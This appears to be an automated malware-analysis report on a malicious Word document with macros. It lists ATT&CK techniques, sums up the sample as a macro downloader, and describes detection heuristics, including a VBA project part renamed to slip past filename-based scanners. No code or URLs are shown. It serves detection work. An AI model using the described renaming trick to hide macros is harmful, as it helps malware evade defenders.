MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing a VBA project with a renamed part, indicating an attempt to evade detection. The presence of VBA macros suggests the document is designed to execute code upon opening. The VBA code, specifically the 'NewMacros' module and 'Class1', appears to be involved in string manipulation and potentially downloading or executing further stages, though the exact payload is not directly visible. This points to a macro-based downloader attack.

Heuristics 3

  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: word/asqandsmi.b!!!!!!!!~~~~~~)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
